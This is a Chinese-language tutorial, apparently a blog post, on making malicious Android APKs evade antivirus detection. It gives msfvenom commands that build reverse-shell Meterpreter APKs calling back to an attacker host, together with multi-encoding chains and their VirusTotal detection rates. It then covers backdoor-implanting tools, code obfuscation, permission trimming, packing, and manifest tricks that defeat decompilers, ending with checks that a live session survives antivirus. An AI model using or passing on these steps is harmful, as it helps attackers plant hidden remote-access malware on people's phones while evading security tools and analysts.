Android免杀小结
字数 1983 2025-08-20 18:17:41
Android免杀技术全面解析与实战指南
一、基础概念与工具准备
1.1 免杀技术概述
Android免杀技术是指通过各种手段使恶意APK文件能够绕过杀毒软件的检测机制。主要技术路线包括:
- 编码混淆:使用多重编码改变特征码
- 工具免杀:利用专门工具生成低特征样本
- 源码级免杀:从代码层面进行定制化修改
- 加壳保护:使用加固技术隐藏真实代码
- 反编译对抗:阻碍逆向分析工具正常工作
1.2 核心工具介绍
- msfvenom:Metasploit框架的payload生成工具
- TheFatRat:多功能后门生成工具
- Backdoor-apk:专门用于APK后门植入的工具
- Venom:多平台payload生成框架
- 360加固助手/Bangcle:APK加壳保护工具
- apktool:APK反编译/回编译工具
二、msfvenom基础免杀技术
2.1 基本payload生成
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -o black.apk
初次生成样本在VT(VirusTotal)检测率约为26/64
2.2 编码技术应用
查看可用编码器:
msfvenom --list encoders
推荐使用的编码器:
- x86/shikata_ga_nai
- x86/call4_dword_xor
- x86/countdown
单次编码示例:
msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -o black_1.apk
检测率降至9/59
多重编码示例:
msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik \
--encoder x86/call4_dword_xor --iterations 5 \
--encoder x86/countdown --iterations 4 \
--encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk
注意:过度编码可能导致特征增加
三、工具免杀技术详解
3.1 TheFatRat使用
安装:
git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh
sudo ./fatrat
提供三种APK后门方式:
- Backdoor-apk方法
- 旧版Fatrat方法
- MsfVenom嵌入式方法
3.2 Backdoor-apk使用
项目地址:https://github.com/dana-at-cp/backdoor-apk
常见问题:
- 加壳APK可能导致失败
- 签名验证可能导致问题
- 生成文件位于backdoor-apk/backdoor-apkoriginal/dist/
3.3 Venom框架使用
项目地址:https://github.com/r00t-3xp10it/venom
选择Android agents生成后门,文件位于/venom/output
四、源码级免杀技术
4.1 代码混淆技术
关键点:
- 修改方法名、变量名为无意义字符串
- 删除无用代码和注释
- 改变代码结构但不影响功能
- 全局变量和局部变量位置交换
示例:
原始代码:
private static String getJarPath(String path){
String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
return filePath + ".jar";
}
混淆后:
private static String a(String b){
String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String c = b + File.separatorChar + randomNum;
return c + ".jar";
}
4.2 配置参数修改
重要参数调整:
- minSdkVersion:避免使用常见木马版本(如28)
- buildToolsVersion:使用非典型版本
- 依赖库版本:避免与已知恶意样本相同
4.3 权限管理策略
高风险权限组合:
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
保留最小必要权限,仅保留:
<uses-permission android:name="android.permission.INTERNET"/>
五、加壳与加固技术
5.1 常用加固工具
- 360加固助手:https://jiagu.360.cn/
- Bangcle加壳工具:https://github.com/woxihuannisja/Bangcle
java -jar Bangcle.jar b black_1.apk
5.2 加固注意事项
- 免费版加固可能引入特征
- 不同加固工具检测率不同
- 加固后需测试功能完整性
六、反编译对抗技术
6.1 AndroidManifest.xml幻数修改
原始幻数:0x00080003
修改后会导致:
- 低版本apktool反编译失败
- GDA等工具无法解析Manifest
- 但APK仍可正常安装运行
6.2 stringPoolSize陷阱
修改stringCount字段使其与实际不符:
- 原始值:68
- 修改为:69
导致最新apktool也无法解析
6.3 ZIP伪加密
使用ZipCenOp.jar工具:
- 对Android 4.2.x以下系统有效
- 高版本Android会拒绝安装
七、实战检测与验证
7.1 检测流程
- 生成样本后上传VT检测
- 使用多款手机杀软测试
- 验证功能完整性
- 监控网络连接情况
7.2 上线验证
检查项目:
- PID是否匹配
- 会话是否稳定
- 杀软是否拦截
- 功能是否完整
八、参考资源
- TheFatRat使用指南:https://misakikata.github.io/2018/09/关于Thefatrat免杀使用/
- AndroidManifest解析:https://bbs.kanxue.com/thread-272045.htm
- 加固技术分析:https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail
- Smali代码修改:https://xz.aliyun.com/t/2967
九、总结与进阶
- 免杀是持续对抗过程,特征会不断更新
- 组合使用多种技术效果更佳
- 关注杀软最新检测机制变化
- 合法研究,遵守法律法规
通过本指南系统学习后,应能够:
- 理解Android免杀核心原理
- 熟练使用各类免杀工具
- 实施源码级深度免杀
- 有效对抗反编译分析
- 全面验证免杀效果